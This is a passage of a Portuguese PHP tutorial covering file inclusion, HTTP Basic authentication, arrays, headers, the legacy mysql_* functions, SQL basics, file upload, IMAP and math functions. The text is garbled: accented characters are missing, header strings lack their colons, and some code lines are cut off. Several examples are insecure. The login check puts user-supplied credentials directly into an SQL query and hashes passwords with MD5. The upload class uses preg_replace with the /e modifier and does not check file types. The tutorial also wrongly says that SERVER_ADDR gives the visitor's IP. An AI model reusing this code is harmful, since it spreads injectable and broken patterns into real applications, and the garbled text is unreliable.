o include_once
o Autenticao HTTP com PHP
o Arrays
o Header

require()
A instruo require() inclui a avalia um arquivo especfico.
require() e include() so idnticos em todas as formas exceto pela manipulao de erros.
include() produz um Warning enquanto require() produzir um Fatal Error. Em outras palavras,
no hesite em utilizar require() se na falta de um arquivo quiser parar o processamento da
pgina. include() no se comporta da mesma maneira, e o script poder continuar nessa
situao. Em todo caso, vale a pena confirmar a configurao da diretiva include_path.
PHP
1. <?php
2. require 'prepend.php';
3. require $somefile;
4. require ('somefile.txt');
5. ?>

include()
A instruo include() inclui e avalia o arquivo informado.
A documentao a seguir se aplica tambm a require(). Esses dois construtores so idnticos a
exceo de como eles manipulam erros. include() produz um Warning enquanto require()
produzir um Fatal Error. Em outras palavras, utilize require() se voc deseja que um arquivo
faltando interrompa o processamento da pgina. include() no se comporta da mesma
maneira, permitindo que o script continue nessas situaes. Em todo caso, vale a pena
confirmar a configurao da diretiva include_path. Esteja avisado que um erro de
interpretao no arquivo includo no causa o cancelamento do processamento.
Arquivos a incluir so procurados primeiramente no include_path relativo ao diretrio atual de
trabalho e depois no include_path relativo ao diretrio atual do script. Por exemplo, se seu
incluide_path ., o diretrio atual /www/, se voc incluiu include/a.php e h um b.php nesse

arquivo, b.php ser procurado primeiro em /www/ e somente depois em /www/include/.


Quando um arquivo includo, seu cdigo entra no escopo de varivel da linha onde a incluso
ocorre. Qualquer varivel disponvel da linha onde a chamada da incluso ocorre estar
disponvel para o arquivo includo, daquele ponto em diante.
vars.php
$cor = 'verde';
$fruta = 'ma';

frutas.php
<?php
echo "Uma $fruta $cor"; // ira mostrar "Uma" e um notice que nao existe as variaveis $fruta e
$cor
include 'vars.php';//inclue a pagina
echo "Uma $fruta $cor"; // ira mostrar "Uma ma verde"
?>

require_once()
A instruo require_once() inclu e avalia o arquivo especificado durante a execuo do script.
Seu comportamento similar ao da instruo require(), a no ser que o arquivo informado j
tenha sido includo, no refazendo a operao novamente. Veja a documentao de require()
para maiores informaes sobre como essa instruo funciona.
require_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendo
includo mais de uma vez durante a execuo de um script em particular, quando na verdade
ele s pode ser includo apenas uma, para evitar problemas com redefinies de funes,
alteraes nos valores de variveis, etc.
<?php<br />require_once("a.php"); // isto ir incluir a.phprequire_once("A.php"); // isto ir
incluir a.php de novo no Windows!?>
include_once()
A instruo include_once() inclui e avalia o arquivo especificado durante a execuo de um
script. Seu comportamento similar a instruo include(), a no ser que o arquivo informado
j tenha sido includo, no refazendo a operao novamente. Como o nome sugere, ele ser
includo apenas uma vez.

include_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendo
includo mais de uma vez durante a execuo de um script em particular, quando na verdade
ele s pode ser includo apenas uma para evitar problemas com redefinies de funes,
alteraes nos valores de variveis, etc.
Para maiores informaes utilizando require_once() e include_once(), veja o cdigo do PEAR
includo nas ltimas distribuies do cdigo fonte do PHP.
<?php<br />include_once("a.php");<br /> // isto ir incluir a.phpinclude_once("A.php"); // isto
ir incluir a.php de novo no Windows!?>
Autenticao HTTP com PHP
Autenticao via HTTP no PHP s disponvel quando o mesmo for executador como mdulo
do Apache e, portanto, no disponvel na verso CGI. Em um script PHP no mdulo Apache,
possvel usar a funo header() para enviar uma janela de entrada "Authentication Required".
Uma vez que o usurio preencheu seu nome de usurio e senha, a URL contendo o script PHP
ser chamada de novo com as variveis predefinidas PHP_AUTH_USER, PHP_AUTH_PW, e
AUTH_TYPE contendo o nome de usurio, senha e tipo de autenticao, respectivamente.
Essas variveis predefinidas so achadas nos arrays $_SERVER e $HTTP_SERVER_VARS.
Somente autenticao "Basic" (Bsica) suportada.

um exemplo simples :
<?
session_start();
function Autenticar()
{
header('WWW-Authenticate: Basic realm = "Area Restrita"');
header('HTTP/1.0 401 Unauthorized');
echo "<center><h1>Acesso Restrito</h1></center>";
exit;
}
function Confere_Login($nome, $senha)
{
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("online");
$re = mysql_query("select count(*) as total from usuarios where nome = '$nome' and senha
= md5('$senha')");
mysql_close();
return mysql_result($re, 0, "total");
}
if ( !isset($_SERVER["PHP_AUTH_USER"]) and !isset($_SERVER["PHP_AUTH_PW"]) )

{
Autenticar();
}
else
{
$total = Confere_Login($_SERVER["PHP_AUTH_USER"], $_SERVER["PHP_AUTH_PW"]);
if ( $total == 0 )
{
Autenticar();
}
}
?>
Arrays
Um array no PHP atualmente um mapa ordenado. Um mapa um tipo que relaciona valores
para chaves. Este tipo otimizado de vrias maneiras, ento voc pode us-lo como um array
real, ou uma lista (vetor), hashtable (que uma implementao de mapa), dicionrio, coleo,
pilha, fila e provavelmente mais. Como voc pode ter outro array PHP como um valor, voc
pode facilmente simular rvores.
A explicao dessas estruturas esto alm do escopo desse manual, mas voc pode encontrar
exemplos para cada uma dessas estruturas a seguir. Para mais informaes sobre estruturas,
refira-se a literatura externa sobre esses tpicos.
Sintaxe
Especificando com array()
Um array pode ser criado com o construtor de linguagem array(). Ele pega um certo nmero
de pares separados por vrgula chave => valor .
array( [chave =>] valor
, ...
)
// chave pode ser tanto string ou um integer
// valor pode ser qualquer coisa
PHP
1. <?php
2. $arr = array("foo" => "bar", 12 => true);
3. echo $arr["foo"];
4. echo $arr[12];

5. ?>
A chave pode ser tanto um integer ou uma string. Se a chave uma representao padro de
um integer, ele ser interpretado assim (por exemplo, "8" ser interpretado como 8, enquanto
"08" ser interpretado como "08"). No h diferena entre arrais indexados e associativos em
PHP, apenas um tipo de array, que pode ter ndices inteiros ou string.
O valor pode ser qualquer tipo PHP:
PHP
1. <?php
2. $arr = array("somearray" => array(6 => 5, 13 => 9, "a" => 42));
3.
4. echo $arr["somearray"][6];
5. echo $arr["somearray"][13];
6. echo $arr["somearray"]["a"];
7. ?>

Se omitir a chave quando fornece um novo item, o maior ndice inteiro obtido, e a nova
chave ser esse mximo + 1. Se voc especificar uma chave que j possui um valor assimilada a
ela, ento o valor sobrescrito.
PHP
1. <?php
2. array(5 => 43, 32, 56, "b" => 12);
3.
4. array(5 => 43, 6 => 32, 7 => 56, "b" => 12);
5. ?>

Indice de algumas funes do array:


array_change_key_case -- Retorna um array com todas as chaves string em maisculo ou
minsculo
array_chunk -- Divide um array em pedaos
array_count_values -- Conta as frequncias de cada valor de um array

array_diff -- Analisa as diferenas entre arrays


array_fill -- Preenche um array com valores
array_filter -- Filtra os elementos de um array utilizando uma funo
array_flip -- Inverte as relaes entre chaves e valores
array_intersect -- Calcula a interseo entre arrays
array_key_exists -- Checa se uma chave ou ndice existe em um array
array_keys -- Retorna todas as chaves de um array
array_map -- Aplica uma funo em todos os elementos dos arrays dados
array_merge_recursive -- Funde dois ou mais arrays recursivamente
array_merge -- Funde dois ou mais arrays
array_multisort -- Ordena mltiplos arrays ou arrays multi-dimensionais
array_pad -- Expande um array para um certo comprimento utilizando um determinado valor
array_pop -- Retira um elemento do final do array
array_push -- Adiciona um ou mais elementos no final de um array
array_rand -- Retorna um ou mais elementos aleatrios de um array
array_reduce -- Reduz um array para um nico valor atravs de um processo iterativo
utilizando uma funo.
array_reverse -- Retorna um array com os elementos na ordem inversa
array_search -- Procura por um valor em um array e retorna sua chave correspondente caso
seja encontrado
array_shift -- Retira o primeiro elemento de um array
array_slice -- Extrai uma parcela de um array
array_splice -- Remove uma parcela do array e substitui com outros elementos
array_sum -- Calcula a soma dos elementos de um array
array_unique -- Remove o valores duplicados de um array
array_unshift -- Adiciona um ou mais elementos no incio de um array
array_values -- Retorna todos os valores de um array
array_walk -- Aplica uma determinada funco em cada elemento de um array
array -- Cria um array
arsort -- Ordena um array em ordem descrescente mantendo a associao entre ndices e
valores
asort -- Ordena um array mantendo a associao entre ndices e valores
compact -- Cria um array contendo variveis e seus valores
count -- Conta o nmero de elementos de uma varivel
current -- Retorna o elemento corrente em um array
each -- Retorna o par chave/valor corrente de um array e avana o seu cursor
end -- Faz o ponteiro interno de um array apontar para o seu ltimo elemento
extract -- Importa variveis para a tabela de smbolos a partir de um array
in_array -- Checa se um valor existe em um array
key -- Retorna uma chave de um array associativo
krsort -- Ordena um array pelas chaves em ordem descrescente
ksort -- Ordena um array pelas chaves
list -- Cria variveis como se fossem arrays
natcasesort -- Ordena um array utilizando o algoritmo da "ordem natural" sem diferenciar
maisculas e minsculas

natsort -- Ordena um array utilizando o algoritmo da "ordem natural"


next -- Avana o ponteiro interno de um array
pos -- Retorna o elemento atual do array
prev -- Retrocede o ponteiro interno de um array
range -- Cria um array contendo uma faixa de elementos
reset -- Faz o ponteiro interno de um array apontar para o seu primeiro elemento
rsort -- Ordena um array em ordem descrescente
shuffle -- Mistura os elementos de um array
sizeof -- Apelido de count()
sort -- Ordena um array
uasort -- Ordena um array utilizando uma funo de comparao definida pelo usurio e
mantendo as associaes entre chaves e valores
uksort -- Ordena um array pelas chaves utilizando uma funo de comparao definida pelo
usurio.
usort -- Ordena um array pelos valores utilizando uma funo de comparao definida pelo
usurio
Header
header -- Envia um cabealho HTTP diretamente
header() usado para enviar diretamete cabealhos HTTP headers.
O parmetro opcional replace indica quando um cabealho dever substituir um cabealho
similar anterior, ou adicionar um segundo cabealho do mesmo tipo. Por padro ir substituir,
mas se voc passar FALSE como segundo argumento voc poder forar multiplos cabealhos
do mesmo tipo. Por exemplo:
PHP
1. <?php
2. header('WWW-AuthenticateNegotiate');
3. header('WWW-AuthenticateNTLM', false);
4. ?>

O segundo caso especial o cabealho "Location:". No somente envia o seu cabealho para o
browser, mas tambm retorna cdigo de situao REDIRECT (302) para o browser a menos que
algum cdigo de situao 3xx j tenha sido definido.
PHP
1. <?php
2. header("Location//www.imasters.com.br"); ?>

Scripts PHP normalmente geram contedo dinamico que no deva ser guardado em cache
pelo browser do cliente ou qualquer cache de proxy entre o servidor e o browser do cliente.
Muitos proxies e clientes so forados a desabilitar o cache usando:
PHP
1. <?php
2. header("ExpiresMon, 26 Jul 1997 05:00:00 GMT");
3. header("Last-Modified" . gmdate("D, d M Y H:i:s") . " GMT");
4. header("Cache-Controlno-store, no-cache, must-revalidate");
5. header("Cache-Controlpost-check=0, pre-check=0", false);
6. header("Pragmano-cache");
7. ?>

Voc pode pensar que suas pginas no so colocadas em cache mesmo que voc no envie
todos os cabealhos acima. Existem vrias opes que os usurios podem definir em seus
browser que mudam o funcionamento do cache. Enviando os cabealhos acima, voc ir
sobrescrever qualquer definio que faa seu script ser colocado em cache.
Adicionalmente as configuraes, session_cache_limiter() e session.cache_limiter podem ser
usadas para gerar automaticamente os cabealhos corretos quando esto sendo usadas
sesses.
Lembre-se que header() deve ser utilizada antes que qualquer saida seja enviada, seja pelo
HTML, linhas ou espaos em branco em um arquivo, ou a partit do PHP. um erro muito
comum ler cdigo com a funo include(), ou require(), ou outra funo que acesse arquivos, e
ter espaos ou linhas em branco antes da funo header(). O mesmo problema existe quando
usar um arquivo PHP/HTML.
PHP
1. <html>
2. <?php
3. header('Location//www.example.com/');
4. ?>

Nota: A partir do PHP 4, voc pode usar o buffer de sada para contornar este problema, com a

sobrecarga que toda a sada do browser ser guardada em buffer no servidor at que
voc^envie ele. Voc poder fazer isso usando ob_start() e ob_end_flush() no seu script ou
definido a diretiva de configurao output_buffering no seu php.ini ou nos arquivos de
configurao do servidor.
Se voc queira que seja perguntado ao usurio para salvar os dados que voc esta enviando,
como um arquivo PDF gerado, voc pode usar o cabealho Content-Disposition para
recomendar um nome de arquivo e forar o browser a mostrar uma caixa salvar arquivo.
PHP
1. <?php
2. // Ns estaremos enviando um PDF
3. header('Content-typeapplication/pdf');
4. // Ser chamado downloaded.pdf
5. header('Content-Dispositionattachment; filename="downloaded.pdf"');
6. // A fonte do PDF original.
7. readfile('original.pdf');
8. ?>

Modulo 5
Interagindo com banco de dados (Mysql)
Introduo
o Breve Historia Mysql
o mysql_connect
o mysql_select_db
o mysql_query
o mysql_close
o mysql_fetch_array
o mysql_fetch_row
o mysql_fetch_object
o mysql_result
o mysql_error
o mysql_insert_id
o Comando basicos SQL
o [brinde] Sistema de cadastro para Livraria
Breve Historia Mysql
A derivao do nome MySQL foi criado apartir do prefixo "my" porque o pessoal do
desenvolvimento do mysql usava esse prefixo nos seus diretorios e inumeras bibliotecas e
ferramentas que eles usavam.
A filha de Monty Widenius ( criador do banco mysql ) tambm ganhou o nome My

O golfinho do MySQL (logo marca do mysql) Sakila. Sakila foi escolhido pelos fundadores da
MySQL AB de uma enorme lista de
nomes sugeridos pelos usurios em um concurso "Name the Dolphin". O nome vencedor foi
enviado por Ambrose Twebaze, um desenvolvedor
de programas open source de Swaziland, Africa. De acordo com Ambrose, o nome Sakila tem
as suas razes em SiSwati, a lngua local de
Swaziland. Sakila tambm o nome de uma cidade em Arusha, Tanzania, prxima ao pas de
orgem de Ambrose, Uganda.
mysql_connect
mysql_connect -- Abre uma conexao com o Mysql
mysql_connect("servidor", "usuario", "senha");
por padrao o mysql vem com usuario root e sem senha entao para conectar a primeira vez

voc pode fazer assim:


mysql_connect("localhost");
mysql_select_db
mysql_select_db -- Seleciona um banco de dados MySQL
mysql_select_db('nome_do_banco');

mysql_query
mysql_query -- Realiza uma query MySQL

exemplo:
mysql_query("select * from tabela");

mysql_close
mysql_close -- Fecha a conexo com o MySQL

exemplo:
$link = mysql_connect('localhost', 'usuario', 'senha');
mysql_close($link);

mysql_fetch_array
mysql_fetch_array -- Busca o resultado de uma linha e o coloca como uma matriz associativa,
matriz numrica ou ambas.
exemplo:
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("banco");
$re = mysql_query("SELECT * FROM tabela");
while ($l = mysql_fetch_array($re)) {
echo $l["campo"]."<br>";
}

mysql_fetch_row
mysql_fetch_row -- Retorna o resultado de uma linha numa matriz numrica

mysql_connect("localhost", "usuario", "senha");


mysql_select_db("banco");
$re = mysql_query("SELECT * FROM tabela");
while ($l = mysql_fetch_row($re)) {
echo $l[0]."<br>";
}

mysql_fetch_object
mysql_fetch_object -- Retorna o resultado de uma linha como um objeto
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("banco");
$re = mysql_query("select * from tabela");
while ($l = mysql_fetch_object($re)) {
echo $l->campo."<br>";
}

mysql_result
mysql_result -- Retorna dados do resultado
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("banco");
$re = mysql_query("select count(*) as total from tabela");
$total = mysql_result($re, 0, "total");

mysql_error
mysql_error -- Retorna o texto da mensagem de erro da operao anterior do MySQL
$link = mysql_connect("localhost", "usuario", "senha");
if (!$link) {
die('Erro: ' . mysql_error());
}
echo 'Conexao ok';
mysql_close($link);

mysql_insert_id
mysql_insert_id -- Retorna o ID gerado da operao INSERT anterior

Comando basicos SQL


Mostrarei nesse tutorial uns comando basicos de sql como editar salvar fazer uma busca e
explicar o basico dos nomes dos comando sql
SELECT - Seleciona dados da tabela

SELECT [nome do campo | *] FROM [tabela] WHERE [campo] = [valor] ORDER BY [campo] [ASC
| DESC]
- SELECT = seleciona
- FROM = da/de/do
- WHERE = aonde
- ORDER BY = organizar por
- GROUP BY = funo de agrupamento
-|
= ou
- ASC = Ascendente
- DESC = Descendente
WHERE condicao for verdadeira
codicoes
- campo = valor
- campo > valor
- campo < valor
- campo >= valor
- campo <= valor
- campo like "%texto%" // % = qualquer caracter, _ = um unico caracter
- campo BETWEEN valor_minimo AND valor_maximo // BETWEEN = ENTRE UM E OUTRO
select * from usuarios where nome like "a%" and idade > 15;
+----+-------+-------+------+---------------------+
| id | nome | idade | sexo | data_cadastro |
+----+-------+-------+------+---------------------+
| 9 | andre | 20 | M | 2004-02-25 19:04:56 |
+----+-------+-------+------+---------------------+

mysql> select * from usuarios where idade < 30 order by nome desc;
+----+--------+-------+------+---------------------+
| id | nome | idade | sexo | data_cadastro |
+----+--------+-------+------+---------------------+
| 10 | Fabyo | 27 | M | 2004-03-27 19:10:35 |
| 1 | natan | 20 | M | 2004-03-27 18:07:25 |
| 8 | carlos | 20 | M | 2004-03-27 18:12:01 |
| 4 | carla | 20 | F | 2004-03-27 18:19:23 |
| 9 | andre | 20 | M | 2004-03-27 19:04:56 |
+----+--------+-------+------+---------------------+

mysql> select nome, idade, sexo from usuarios where idade between 20 and 30;
+--------+-------+------+
| nome | idade | sexo |
+--------+-------+------+
| natan | 20 | M |
| carlos | 20 | M |
| carla | 20 | F |
| raul | 30 | M |
| andre | 20 | M |
+--------+-------+------+

INSERT - Insere dados na tabela


INSERT INTO tabela (campo1, campo2, campo3, ...) VALUES (valor1, valor2, valor3, ...)
Quando no for passado o nome dos campos entre parenteses aps a tabela, o servidor
entender que voc
quer inserir todos os campos na ordem que esto da tabela.
INSERT INTO tabela VALUES (valor1, valor2, valor3, valor4, ...)
- INSERT = inserir
- INTO = dentro de
- VALUES = valores
insert into usuarios (nome, idade, sexo, data_cadastro)
values ("Fabyo", 27, "M", "1999-12-31 12:00:00");
insert into usuarios values ("", "Fabyo", 27, "M", NOW());

UPDATE - Atualiza valores na tabela


UPDATE tabela SET campo1 = valor1, campo2 = valor2, campo3 = valor3 WHERE campo = valor
- UPDATE = Atualiza
- SET = Defina
- WHERE = Aonde
update usuarios, set nome = "Carlos", idade = 18 where id = 7;
DELETE - Apaga registro da tabela
DELETE FROM tabela WHERE campo = valor
- DELETE - Apaga
- FROM - de/do/da
- WHERE - Aonde
delete from usuarios where id = 7;
[brinde] Sistema de cadastro para Livraria
Esse Modulo nao tera exercicios ,mas ter de brinde um sistema (simples) de Cadastro de
livros para livraria
com esse sistema voc conseguira entender melhor como funciona o php junto com mysql e
como fazer um sistema
de cadastro completo e relacionando as tabelas de um modo simples
s explicando quando voc ver na tabela escrito fk representa (foreign key) ou chave
estrangeira
que o id de uma tabela sendo representado em outra tabela fazendo um relacionamento.
Dica:
use strip_tags serve pra tirar tags html evitando que pessoas cadastre tags html no seu banco
no abordei a fundo o Mysql, porque estamos pra lanar um curso online de Mysql
obrigado a todos e bons estudos.

Modulo 6
Introduo
o Upload de Arquivos
o Conexo com banco de dados acess
o Funes matemticas
o Imap

Upload de Arquivos
Upload de arquivos com o mtodo POST O PHP capaz de receber o upload de qualquer
browser que siga a norma RFC-1867 (o que inclui Netscape Navigator 3 ou posterior, Microsoft
Internet Explorer 3 com um patch da Microsoft, ou posterior sem patch). Isto permite que se
faa o upload de arquivos de texto e binrios. Com as funes de autenticao e manipulao
de arquivos do PHP, voc tem o controle completo de quem pode fazer o upload de
arquivo e o que fazer com o arquivo aps seu upload.
Tenha certeza que seu formulrio de upload de arquivo tenha enctype="multipart/formdata" em outro caso o upload do arquivo no ir funcionar.
$_FILES['arquivo']['name']
O nome original do arquivo no computador do usurio.
$_FILES['arquivo']['type']
O tipo mime do arquivo, se o browser deu esta informao. Um exemplo pode ser
"image/gif".
$_FILES['arquivo']['size']
O tamanho, em bytes, do arquivo.
$_FILES['arquivo']['tmp_name']
O nome temporrio do arquivo, como foi guardado no servidor.
$_FILES['arquivo']['error']
is_uploaded_file
is_uploaded_file -- Diz se o arquivo foi enviado via HTTP POST
bool is_uploaded_file ( string filename)
Retorna TRUE se o arquivo com o nome filename foi uploaded via HTTP POST. Isto til para
ter certeza que um usurio malicioso, no est tentando
confundir o script em trabalhar em arquivos que no deve estar trabalhando --- por exemplo,

/etc/passwd.
Este tipo de confirmao importante principalmente se existe alguma chance que qualquer
coisa feita com os arquivos carregados poderiam revelar
o seu contedo para o usurio, ou mesmo para outros usurios no mesmo sistema.
is_uploaded_file() est disponvel somente em verses do PHP 3 depois da 3.0.16 e em verses
do PHP 4 posteriores a 4.0.2. Se voc ainda est utilizando
uma verso anterior, voc pode utilizar o seguinte cdigo para se proteger:
Nota: O exemplo seguinte no funcionar em verses do PHP posteriores a 4.0.2. Isto depende
de uma funcionalidade interna do PHP que mudou depois dessa verso.

PHP
1. <?php
2. /* Teste de arquivo carregado pelo usurio */
3. function is_uploaded_file($filename) {
4. if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
5. $tmp_file = dirname(tempnam('', ''));
6. }
7. $tmp_file .= '/' . basename($filename);
8. /* Pode haver uma barra no final do php.ini... */
9. return (ereg_replace('/+', '/', $tmp_file) == $filename);
10. }
11.
12. /* Utilize isto se por acaso voc no tiver
13. * move_uploaded_file() em verses antigas: */
14. if (is_uploaded_file($HTTP_POST_FILES['arquivo'])) {
15. [b]copy[/b]($HTTP_POST_FILES['arquivo'], "/place/to/put/uploaded/file");
16. } else {
17. echo "Possvel ataque de carregamento de arquivo:
filename '$HTTP_POST_FILES[arquivo]'.";
18. }

19. ?>

move_uploaded_file
(PHP 4 >= 4.0.3, PHP 5)
move_uploaded_file -- Move um arquivo carregado para uma nova localizao
Descrio
bool move_uploaded_file ( string nomedoarquivo, string destino)
Esta funo primeiro checa o arquivo informado nomedoarquivo um arquivo vlido
uploadeado (significando que ele foi carregado pelo mecanismo do
PHP de HTTP POST). Se o arquivo vlido, ele ser movido para o nomedoarquivo dado pelo
destino.
Se nomedoarquivo no um arquivo carregado vlido, ento no haver nenhuma ao e
move_uploaded_file() ir retornar FALSE.
Se nomedoarquivo um arquivo uploadeado vlido e no pode ser movido por alguma razo,
nenhuma ao ir ocorrer, e move_uploaded_file() ir retornar FALSE.
Adicionalmente, um aviso ser emitido.
Este tipo de confirmao importante principalmente se existe alguma chance que qualquer
coisa feita com os arquivos carregados poderem revelar o seu
contedo para o usurio, ou mesmo para outros usurios no mesmo sistema.
Nota: Quando o safe-mode est ativo, o PHP verifica se o(s) arquivo(s) e/ou diretrio(s) que
sero afetados por esta operao tem o mesmo UID (proprietrio) do
script que est sendo executado.
Nota: move_uploaded_file() no afetado pelas restries de UIN normais do safe mode. Isto
no inseguro porque move_uploaded_file() somente opera sobre arquivos
carregados pelo PHP.

Ateno
Se o arquivo destino j existir, ento ele ser sobrescrito.

Veja tambm is_uploaded_file() e a seo Manipulando o upload de arquivos para um


exemplo de utilizao desta funo.

Explicao das mensagens de erro

Desde o PHP 4.2.0, PHP retorna um cdigo de erro apropriado na array do arquivo. O cdigo
de erro pode ser encontrado em ['error'] na array que criada durante o
upload do arquivo. Em outras palavras, o erro deve ser encontrado em
$_FILES['arquivo']['error'].

Tratamentos de Erros
UPLOAD_ERR_OK
Valor: 0; no houve erro, o upload foi bem sucedido.
UPLOAD_ERR_INI_SIZE
Valor 1; O arquivo no upload maior do que o limite definido em upload_max_filesize no
php.ini.
UPLOAD_ERR_FORM_SIZE
Valor: 2; O arquivo ultrapassa o limite de tamanho em MAX_FILE_SIZE que foi especificado no
formulrio HTML.
UPLOAD_ERR_PARTIAL
Valor: 3; o upload do arquivo foi feito parcialmente.
UPLOAD_ERR_NO_FILE
Valor: 4; No foi feito o upload do arquivo.
Nota: Estas tornaram-se constantes no PHP 4.3.0
Variveis de upload de arquivos HTTP: $_FILES
Nota: Introduzida na verso 4.1.0. Em verses anteriores, use $HTTP_POST_FILES.
Contm um array associativo dos itens carregador no script atual atravs do mtodo HTTP
POST.
Esta uma varivel 'superglobal', ou automaticamente global. Isto significa que ela
disponvel em todos os escopos (nveis) de um script. Voc no precisa fazer
um global $_FILES; para pode acess-la dentro de funes ou mtodos, como era necessrio
com $HTTP_FILES_VARS.
Exemplo de um upload:
<html>
<head>
<title>Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data" name="form1">
<input type="file" name="arquivo">
<input type="submit" name="Submit" value="Enviar">
</form>

</body>
</html>

upload.php
<?
//Fabyo Guimaraes
class Upload
{
var $arquivo = "";
//array com os codigos dos erros de upload
var $erro = array ( "0" => "upload execultado com sucesso!",
"1" => "O arquivo maior que o permitido pelo Servidor",
"2" => "O arquivo maior que o permitido pelo formulario",
"3" => "O upload do arquivo foi feito parcialmente",
"4" => "No foi feito o upload do arquivo"
);
//funo que verifica se o arquivo foi enviado, e se obteve sucesso returna true e cria a
variavel para ser manipulado
function Verifica_Arquivo()
{
$this->arquivo = isset($_FILES['arquivo']) ? $_FILES['arquivo'] : FALSE;
return is_uploaded_file($this->arquivo['tmp_name']) ? true : false;
}
//funo que envia o arquivo para o servidor se nao existir a pasta no servidor ele cria obs:
linux usar chmod
function Envia_Arquivo()
{
// se o arquivo foi enviado corretamente ele envia
if($this->Verifica_Arquivo() == true)
{ set_time_limit(0);
$diretorio = "pasta/";
if(!file_exists($diretorio))
{
mkdir($diretorio);
}
//se ja existir ele renomeia o arquivo novo para nao sobrescrever o existente
while ( file_exists ( $diretorio.$this->arquivo['name'] ))
{
$this->arquivo['name'] = preg_replace ( "/^(.+?)(_?)(\d*)(\.[^.]+)?$/e", "'\$1_'.(\$3+1).'\$4'",
$this->arquivo['name']);
}
move_uploaded_file($this->arquivo['tmp_name'], $diretorio . $this->arquivo['name']);

echo "<span style=\"color: white; border: solid 1px; background: blue;\">".$this->erro[$this>arquivo['error']]."</span>";


}
se o arquivo nao foi enviado ou tenha dado algum erro ele mostra a mensagem de erro
elseif( isset($this->arquivo['tmp_name']) )
{
echo "<span style=\"color: white; border: solid 1px; background: red;\">".$this->erro[$this>arquivo['error']]."</span>";
}
}
}
?>

Notem que essa classe cuida para obter sucesso no envio do arquivo ,mas ela no esta
tratando do tipo(type) de arquivo
caso voc queria enviar imagens para o servidor voc pode limitar tamanho, dimensao da
imagem e tipo de extensao
e se for arquivo voc pode limitar a extenso s para o tipo que voc quiser, caso tenha
duvidas em como tratar o tipo de arquivo s postar no forum.
Funes matemticas
abs
Retorna o valor Valor absoluto de um nmero.
Se o argumento nmero do tipo float, o nmero retornado tambm float
Exemplo:
<?php
$abs = abs(-4.2); // $abs = 4.2; (double/float)
$abs2 = abs(5); // $abs2 = 5; (inteiro)
$abs3 = abs(-5); // $abs3 = 5; (inteiro)
?>

floor -- Arredonda fraes para baixo


<?php
echo floor(4.3); // 4
echo floor(9.999); // 9
?>

round -- Arredonda um nmero

<?php
echo round(3.4); // 3
echo round(3.5); // 4
echo round(3.6); // 4
echo round(3.6, 0); // 4
echo round(1.95583, 2); // 1.96
echo round(1241757, -3); // 1242000
echo round(5.045, 2); // 5.04
echo round(5.055, 2); // 5.06
?>

number_format -- Formata um nmero com os milhares agrupados


echo number_format( "1000.000", 2, ",", ".");
esse exemplo acima ira retornar 1.000,00

max -- Localiza o maior nmero


<?
echo max(1, 3, 5, 6, 7); // 7
echo max(array(2, 4, 5)); // 5
?>

min -- Localiza o menor nmero


<?
echo min(2, 3, 1, 6, 7); // 1
echo min(array(2, 4, 5)); // 2
?>

count -- Conta o nmero de elementos de uma varivel


<?php
$a[0] = 1;
$a[1] = 3;
$a[2] = 5;
$result = count($a);
// $result == 3
$b[0] = 7;
$b[5] = 9;

$b[10] = 11;
$result = count($
// $result == 3;
?>

sqrt -- Raiz quadrada


<?
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
?>

rand -- Gera um nmero aleatrio


PHP
1. <?
2. echo rand(0,9);
3. ?>

Mais detalhes : www.php.net/ref.math.php

Imap
O que IMAP?
O protocolo IMAP foi originalmente desenvolvido na Universidade de Stanford em 1986.
Trata-se de um mtodo de acesso a mensagens eletrnicas armazenadas em um servidor local
ou remoto.
IMAP quer dizer Internet Message Access Protocol [RFC 2060] e sua verso mais recente e' a
IMAP4rev1 [RFC 2060]
descomente a linha do php.ini extension=php_imap.dll
obs: nesse exemplo nao tem suporte a MIME
Nesse exemplo ele faz:
tratamento de erros
ve quantos emails voc tem
pega o assunto,remetente,data/hora e a mensagem

<?php
/* Fabyo Guimaraes
$servidor = "seu_servidor";
$usuario = "usuario";
$senha = "senha";
@ini_set('display_errors', '0');
$mbox = imap_open("{pop3.$servidor/pop3:110}", $usuario . "@" . $servidor, $senha ,
OP_HALFOPEN);
$erro[] = imap_last_error();
// testo se tem email no servidor
if ($erro[0] == "Mailbox is empty") {
echo "Nao tem nenhuma mensagem";
exit;
}
// verifico se esta certo o usuario e senha
elseif ($erro[0] == "POP3 connection broken in response") {
echo "Usuario ou a senha estao errados";
exit;
}
// testo se o servidor esta certo
elseif ($erro[0] == "Host not found (#11004): pop3.$servidor") {
echo "O servidor $servidor esta errado";
exit;
}
// se a $erro estiver vazia ele continua
if ($erro[0] == "") {
$numero_mensagens = imap_num_msg($mbox);
$numero_mens_nao_lidas = imap_num_recent($mbox);
if ($numero_mensagens == 1) {
echo "voc tem $numero_mensagens mensagem";
} else {
echo "voc tem $numero_mensagens mensagens";
}
echo "<br><br>";
for($i = 1;$i <= imap_num_msg($mbox);$i++) {
$headers = imap_header($mbox, $i);
$assunto = $headers->subject;

$message_id = $headers->message_id;
$toaddress = $headers->toaddress;
$to = $headers->to;
$remetente = $to[0]->personal;
$email_remetente = $to[0]->mailbox;
$servidor_remetente = $to[0]->host;
$data = $headers->date;
$data = strtotime($data);
$data = date("d/m/Y H:i:s", $data);
echo "Assunto = $assunto - Remetente = $email_remetente@$servidor_remetente Data =
$data <a href=\"imap.php?id=$i\">Ler Mensagem</a><br>";
}
echo "<br>";
if (isset($_GET["id"])) {
$id = $_GET["id"];
$mensagem = imap_fetchbody($mbox, $id, 1);
echo nl2br(quoted_printable_dequote($mensagem));
}
imap_close($mbox);
}
?>
mais detalhes:
http://br.php.net/ma...en/ref.imap.php

Modulo 7
Introduo
o Estatisticas
o Dicas diversas sobre funes php para usar com Mysql
o Dicas basicas sobre configurao do phpMyAdmin
o SQL
o Montando um sistema de cadastro de funcionarios

Estatisticas
Vamos aprender um pouco como pegar e tratar varias informaes uteis para ser usado em
determinados momentos
s lembrando que o php roda no servidor ento a maioria das informaes que voc conseguir
ser do prprio servidor
tirando as variaveis de ambiente.
E no falarei sobre as coisa basicas como contador e datas, vou mostrar outras funes pouco
conhecidas de alguns
Para pegar o IP do visitante:
$ip = $_SERVER["SERVER_ADDR"];
ou
